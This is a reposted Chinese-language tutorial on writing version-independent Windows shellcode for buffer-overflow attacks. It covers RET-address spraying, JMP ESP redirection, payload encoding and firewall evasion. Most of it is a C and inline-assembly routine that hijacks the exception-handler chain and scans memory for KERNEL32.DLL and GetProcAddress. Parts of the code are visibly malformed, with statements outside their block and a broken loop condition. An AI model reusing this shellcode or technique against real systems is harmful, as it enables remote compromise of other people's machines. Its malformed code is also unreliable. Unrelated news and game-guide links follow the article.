分享
 
 
 

WINDOWS的SHELLCODE编写高级技巧

王朝system·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

WINDOWS的SHELLCODE编写高级技巧

unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出

再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比

较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET

连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80

规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写

WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。

1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出

点大致范围就可以了。

2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP

ESP功能的指令地址就可以定位了。

3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4

、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解

码,这样编写SHELLCODE就可以不用考虑特殊字符了。

6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用

GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个

API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里

面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和

GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在

内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要

是增加异常结构处理 。下面是VC6.0程序代码:

void shellcodefn()

{

int *except[3];

FARPROC procgetadd=0;

char *stradd;

int imgbase,fnbase,i,k,l;

HANDLE libhandle;

_asm {

jmp nextcall

getstradd: pop stradd

lea EDI,except

mov eax,dword ptr FS:[0]

mov dword ptr [edi+0x08],eax

mov dword ptr FS:[0],EDI

}

except[0]=0xffffffff;

except[1]=stradd-0x07;

/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

imgbase=0x77e00000;

/* 搜索KERNEL32.DLL 的起始其实地址 */

call getexceptretadd

}

/* 得到异常后的返回地址 */

for(;imgbase<0xbffa0000,procgetadd==0;){

imgbase+=0x10000;

/* 模块地址是64K为单位,加快速度*/

if(imgbase==0x78000000) imgbase=0xbff00000;

/* 如果到这还没有搜索到,那可能是WIN9X系统 */

if(*( WORD *)imgbase=='ZM'&& *(WORD *)

(imgbase+*(int *)(imgbase+0x3c))=='EP'){

/* 模块结构的模块头 */

fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;

k=*(int *)(fnbase+0xc)+imgbase;

if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){

/* 模块名 */

libhandle=imgbase;

/* 得到模块头地址,就是模块句柄 */

k=imgbase+*(int *)(fnbase+0x20);

for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){

if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){

/* 引出名 */

k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));

k+=*(int *)(fnbase+0x10)-1;

k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));

procgetadd=k+imgbase;

/* API地址 */

break;

}

}

}

}

}

// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址

// 注意这儿处理了搜索页面不在情况。

_asm{

lea edi,except

mov eax,dword ptr [edi+0x08]

mov dword ptr fs:[0],eax

}

/* 恢复异常结构链 */

if(procgetadd==0) goto die ;

/* 如果没找到GetProcAddress地址死循环 */

die: goto die ;

_asm{

getexceptretadd: pop eax

push eax

mov edi,dword ptr [stradd]

mov dword ptr [edi-0x0e],eax

ret

/* 得到异常后的返回地址,并填写到异常处理模块 */

/* 异常处理模块 */

errprogram: mov eax,dword ptr [esp+0x0c]

add eax,0xb8

mov dword ptr [eax],0x11223344 //stradd-0xe

/* 修改异常返回EIP指针 */

xor eax,eax //2

/* 不提示异常 */

ret //1

/* 异常处理返回 */

execptprogram: jmp errprogram //2 bytes stradd-7

nextcall: call getstradd //5 bytes

}

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有